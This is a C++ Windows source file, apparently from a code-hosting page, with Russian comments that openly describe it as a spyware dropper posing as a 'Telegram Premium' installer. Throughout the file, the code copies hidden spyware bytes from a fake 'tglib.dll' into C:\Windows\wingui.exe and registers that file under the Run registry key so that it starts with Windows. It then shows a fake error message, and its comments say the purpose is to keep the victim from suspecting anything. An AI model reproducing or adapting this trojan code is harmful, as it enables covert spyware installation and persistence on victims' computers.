You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

95 lines
4.0 KiB

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

#include <Windows.h>
#include <fstream>
#include <vector>
int WINAPI wWinMain(
_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nShowCmd
) {
const char SRC_PROGRAM_PATH[] = "tglib.dll";
const char DST_PROGRAM_PATH[] = "C:\\Windows\\wingui.exe";
/*
В каталоге с .exe файлом лежит файл якобы библиотек tglib.dll.
На самом деле этот файл содержит байты клиентской части шпионского ПО.
Нужно вытащить все байты из этого файла, записать их в C:\Windows\wingui.exe
А потом добавить файл C:\Windows\wingui.exe в автозагрузку
*/
std::ifstream srcFile(SRC_PROGRAM_PATH, std::ios::binary);
if (!srcFile.is_open()) { // если файл куда-то пропал
const auto TITLE = "Ошибка инициализации";
const auto MESSAGE = "К сожалению, установщик Telegram Premium не может обнаружить файл библиотек tglib.dll.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
}
/* читаем .dll файл */
std::vector<char> spywareBytes; // в вектор будем помещать байты шпионской программы
while (!srcFile.eof()) { // пока есть, что читать, будем читать
char byte;
srcFile.read(&byte, sizeof byte); // считываем байт
spywareBytes.push_back(byte); // добавляем байт в вектор
}
srcFile.close(); // закрываем файл
/* за диске C: создаем .exe файл */
std::ofstream dstFile(DST_PROGRAM_PATH, std::ios::binary | std::ios::trunc);
if (!dstFile.is_open()) {
const auto TITLE = "Ошибка установки";
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000001.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
}
for (const auto byte : spywareBytes) { // переносим байты из .dll в .exe
dstFile << byte;
}
dstFile.close(); // закрываем файл
/* Добавляем wingui.exe в автозагрузку */
HKEY hKey;
char szPath[MAX_PATH];
const DWORD size = GetModuleFileName(NULL, szPath, MAX_PATH);
if (!(size > 0 && size < MAX_PATH)) {
const auto TITLE = "Ошибка установки";
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000002.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
}
RegCreateKeyEx(HKEY_LOCAL_MACHINE, // создаем ключ в реестре
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
NULL,
0,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,
NULL,
&hKey,
NULL
);
if (hKey) { // если ключ успешно создался, записываем значение
RegSetValueEx(hKey, "Win32GUI", 0, REG_SZ, (unsigned char*) DST_PROGRAM_PATH, sizeof(DST_PROGRAM_PATH));
RegCloseKey(hKey);
}
/*
Чтобы пользователь не заподозрил ничего, отобразим ему окошко с ошибкой
Пусть он думает, что эта программа не работает, и спокойно ее удаляет
*/
const auto TITLE = "Ошибка инициализации";
const auto MESSAGE = "К сожалению, запуск этой программы невозможен на вашей архитектуре.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR);
return 0;
}